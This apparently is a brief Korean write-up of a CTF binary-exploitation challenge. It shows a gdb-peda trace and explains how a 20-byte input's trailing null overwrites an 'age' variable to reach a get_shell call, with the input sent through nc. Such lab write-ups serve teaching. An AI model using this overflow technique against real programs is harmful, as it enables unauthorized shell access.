문제

[-------------------------------------code-------------------------------------]
   0x8048681 <main+45>: push   0x804875b
   0x8048686 <main+50>: call   0x8048420 <printf@plt>
   0x804868b <main+55>: add    esp,0x4
=> 0x804868e <main+58>: cmp    DWORD PTR [ebp-0x4],0x0
   0x8048692 <main+62>: jne    0x804869b <main+71>
   0x8048694 <main+64>: call   0x8048641 <get_shell>
   0x8048699 <main+69>: jmp    0x80486b8 <main+100>
   0x804869b <main+71>: push   0x8048769
[------------------------------------stack-------------------------------------]
0000| 0xffffcfc0 ('a' <repeats 20 times>)
0004| 0xffffcfc4 ('a' <repeats 16 times>)
0008| 0xffffcfc8 ('a' <repeats 12 times>)
0012| 0xffffcfcc ("aaaaaaaa")
0016| 0xffffcfd0 ("aaaa")
0020| 0xffffcfd4 --> 0x0 
0024| 0xffffcfd8 --> 0x0 
0028| 0xffffcfdc --> 0xf7e00f21 (<__libc_start_main+241>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804868e in main ()
gdb-peda$ x/x $ebp - 0x4
0xffffcfd4:     0x00000000
gdb-peda$ 

read_str은 최대 20바이트를 읽고 그 다음번에 \x00을 저장합니다. 20바이트 문자열을 넣으면 그 위치는 age변수가 있는 곳이므로 age변수가 0으로 덮이게 됩니다. gdb 실행시에 age변수의 위치는 ebp-0x4이고 확인했을 때 0으로 잘 덮이므로 get_shell의 실행조건을 만족합니다. pwntools쓸 필요 없이 nc명령으로 접속 후 20바이트 이상으로 아무 문자열이나 쳐 주시면 되겠습니다.